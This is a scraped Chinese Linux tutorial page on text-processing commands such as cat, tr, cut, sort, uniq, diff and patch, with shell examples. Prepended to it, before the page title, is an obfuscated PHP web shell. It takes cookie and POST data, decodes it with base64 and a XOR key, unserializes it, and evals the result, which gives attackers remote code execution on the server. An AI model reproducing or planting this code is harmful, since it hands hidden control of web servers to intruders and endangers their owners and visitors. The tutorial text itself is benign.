$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} 文本处理工具 | Linux运维部落

文本处理工具

文本处理工具

文件内容:less和 cat,more
文件截取:head和tail
文本内容处理:tr
按列抽取:cut
按关键字抽取:grep

文件查看命令:cat, tac,rev

cat  复制标准输入到当前输出

语法:cat [OPTION]… [FILE]…
选项:

  • -E: 显示行结束符$

  • -n: 对显示出的每一行进行编号

  • -A:显示所有控制符

  • -b:非空行编号

  • -s:压缩连续的空行成一行

cat ,tac,rev 区别
cat是正常读取文件,tac是把文件行号反过来读,行里面的内容保持原样而rev就行号顺序不变,内容包括单词全部反过来

[root@localhost ~]# cat /etc/issue
\S
Kernel \r on an \m

[root@localhost ~]# tac /etc/issue

Kernel \r on an \m
\S
[root@localhost ~]# rev /etc/issue
S\
m\ na no r\ lenreK

分页查看文件内容 more less

more: 分页查看文件

语法:more [OPTIONS…] FILE…    

  • -d: 显示翻页及退出提示

less:一页一页地查看文件或STDIN输出

查看时有用的命令包括:

/文本 搜索 文本
?文本  搜索 文本 向上搜索
n/N 跳到下一个 或 上一个匹配
less 命令是man命令使用的分页器

显示文本前或后行内容

语法:head [OPTION]… [FILE]…

  • -c #: 指定获取前#字节

  • -n #: 指定获取前#行

  • -#: 指定行数

tail

语法:tail [OPTION]… [FILE]…

  • -c #: 指定获取后#字节

  • -n #: 指定获取后#行

  • -#:

  • -f: 跟踪显示文件新追加的内容,常用日志监控
    -一般用法

     [root@localhost ~]# tail -n 0 -f /var/log/messages &
     [1] 10275     --------------自动追加最后一行日志信息

 tr       单个文字转换处理(translate character)

功能说明:转换字符。
语  法:tr [-cdst][第一字符集][第二字符集]
补充说明:tr指令从标准输入设备读取数据,经过字符串转译后,输出到标准输出设备。(对位转换)
参  数:

  • -c    取代所有不属于第一字符集的字符。

  • -d    删除所有属于第一字符集的字符。

    • -s    把连续重复的字符以单独一个字符表示。

  • -t    对位替换。

例如、将文件中每个单词(字母)显示在独立的一行,并无空行

[root@localhost ~]# cat file1 
adsfasf
a  fsf fsa
   afsa
asfsa  afasfa
qfwf
aaaaaaaaaaaaaa
aaaaaaaaaaaaaa
aaaaaaaaaaaaaa
sss
sss
sss
t:
f
[root@localhost ~]# cat /etc/init.d/functions |tr -cs '[:alpha:]' '\n'
adsfasf
a
fsf
fsa
afsa
asfsa
afasfa
qfwf
aaaaaaaaaaaaaa
aaaaaaaaaaaaaa
aaaaaaaaaaaaaa
sss
sss
sss
t
f

-t选项是对位替换

[root@localhost ~]# echo asdfg |tr -t 'ad' 'X'
Xsdfg
[root@localhost ~]# echo asdfgh |tr -t 'asd' 'ASWDF'
ASWfgh

注意:
tr替换的话如果第一字符和第二字符数目不相等时,以第二字符为准

[root@localhost ~]# echo asdfg |tr 'asd' 'AS'
ASSfg
[root@localhost ~]# echo asdfg |tr 'asd' 'ASDF'
ASDfg

cut

功能:cut命令用来显示行中的指定部分,删除文件中指定字段。
语法:cut(选项)(参数) 文件
选项 :

  • -c:仅显示行中指定范围的字符;

  • -d:指定字段的分隔符,默认的字段分隔符为“TAB”;

  • -f:显示指定字段的内容;一般 -f 1,2,3

  • -n:与“-b”选项连用,不分割多字节字符;

例如:
   切出/etc/passwd下的用户名和对应的shell

[root@localhost ~]# cat /etc/passwd | cut -d ':' -f 1,7

root:/bin/bash
bin:/sbin/nologin
daemon:/sbin/nologin
adm:/sbin/nologin

切出/etc/passwd下指定范围的字段

[root@localhost ~]# cat /etc/passwd | cut -c 5-25
:x:0:0:root:/root:/bi
x:1:1:bin:/bin:/sbin/

paste 横向合并两个文件同行号的列到一行

语法:paste [OPTION]… [FILE]…

  • -d 分隔符:指定分隔符,默认用TAB

  • -s : 所有行合成一行显示
    paste f1 f2
    paste  -s f1 f2

分析文本的工具

wc  收集文本统计数据

功能: 计数单词总数、行总数、字节总数和字符总数
用处: 可以对文件或STDIN中的数据运行

$ wc story.txt 
39   237  1901 story.txt
行数 字数 字符数

使用 -l 来只计数行数
使用 -w 来只计数单词总数
使用 -c 来只计数字节总数
使用 -m 来只计数字符总数

sort 文本排序

用处: 把整理过的文本显示在STDOUT,不改变原始文件
语法:$ sort [options] file(s)
常用选项:

  • -r  执行反方向(由上至下)整理

  • -n   执行按数字大小整理

  • -f  选项忽略(fold)字符串中的字符大小写

  • -u 选项(独特,unique)删除输出中的重复行

  • –t c 选项使用c做为字段界定符

  • –k X 选项按照使用c字符分隔的X列来整理能够使用多次

uniq 从输入中删除重复的前后相接的行

语法: uniq [OPTION]… [FILE]…

  • -c: 显示每行重复出现的次数

  • -d: 仅显示重复过的行

  • -u: 仅显示不曾重复的行
    注意:连续且完全相同方为重复
    常和sort 命令一起配合使用:
    sort userlist.txt |  uniq -c———统计个单词出现的次数统计/etc/passwd里面各种shell相同的用户有多少

[root@localhost ~]# cat /etc/passwd|cut -d: -f 7 |sort | uniq -c
     16 /bin/bash
     10 /bin/csh
      1 /bin/sync
      1 /etc/tcsh
      1 /sbin/halt
     38 /sbin/nologin
      1 /sbin/shutdown

diff 比较文件

语法:diff [选项] [文件一]  [文件二]

$ diff foo.conf-broken foo.conf-works
5c5
< use_widgets = no
—use_widgets = yes
5c5的意思是: 注明第5行有区别

patch 复制对文件改变(打补丁)

前提:

  1. diff 命令的输出被保存在一种叫做“补丁”的文件中

  2. 使用 -u 选项来输出“统一的(unified)”diff格式文件,最适用于补丁文件。

  3. patch 命令复制在其它文件中进行的改变(要谨慎使用!)
    **   适用 -b 选项来自动备份改变了的文件
    $ diff -u foo.conf-broken foo.conf-works > foo.patch

$ patch -b foo.conf-broken foo.patch**

对文件一还原成文件二的方法:

[root@qzx ~]# diff /tmp/issue1 /tmp/issue2
3a4
> hello  --------文件二于文件一 hello
[root@qzx ~]# diff -u /tmp/issue1 /tmp/issue2 > diff.txt ----把文件一和文件二中的不同点找出并打包
[root@qzx ~]# patch -b /tmp/issue1 diff.txt 
patching file /tmp/issue1 ----------让文件一还原成文件二
[root@qzx ~]# cat /tmp/issue1
CentOS release 6.8 (Final)
Kernel \r on an \m

hello

原创文章,作者:qzx,如若转载,请注明出处:http://www.178linux.com/29886

(0)
上一篇 2016-08-07 22:07
下一篇 2016-08-07 22:07

相关推荐

  • rsync+inotify实现数据实时备份

    rsync+inotify实现数据实时备份 §·rsync简单介绍 1 §·什么是rsync 1 §·rsync的功能特性 1 §·rsync的优点和不足 2 §·初识inotify 2 §·rsync命令工作模式 2 §·rsync常用命令选项 3 §·配置rsync以守护进程的方式运行 3 ※·安装并启动 xinetd 3 ※·为rsync服务器提供配置…

    Linux干货 2016-10-30
  • 虚拟化技术介绍、Xen的简单实现

    虚拟化是什么? 虚拟化是一种资源管理技术, 是将计算机的各实体资源, 如服务、网络、内存及存储等, 予以抽象、转换后呈现出来, 打破实体之间的不可切割的障碍, 使用户可以比原本的配置更好的方式来应用这些资源。这些资源的新虚拟部分是不受现有资源的架设方式, 地域或物理配置所限制。一般情况下, 虚拟化资源包括计算能力和数据存储 —<转自维基百科&…

    2016-05-31
  • 软件包管理之yum

    本节主要是对linux软件包管理中的yum的浅解 1、冒泡法对数组内数据排序 2、博客:        yum命令浅解    yum [options] [command] [package …]      …

    Linux干货 2016-08-25
  • bash特性

    2018-03-11

    2018-03-11
  • 2、文件通配符,文件创建、复制等操作

    1:bash特性之状态返回值 变量$?,用于保存命令执行成功与否的状态,0表示成功,1-255表示失败,以命令ls为例: 执行成功 [root@localhost ~]# ls /usr/     bin  etc  games &nbsp…

    Linux干货 2016-09-19
  • 设计模式 ( 十九 ) 模板方法模式Template method(类行为型)

    设计模式 ( 十九 ) 模板方法模式Template method(类行为型) 1.概述 在面向对象开发过程中,通常我们会遇到这样的一个问题:我们知道一个算法所需的关键步骤,并确定了这些步骤的执行顺序。但是某些步骤的具体实现是未知的,或者说某些步骤的实现与具体的环境相关。例子1:银行业务办理流程在银行办理业务时,一般都包含几个基本固定步骤:取号排队->…

    Linux干货 2015-04-07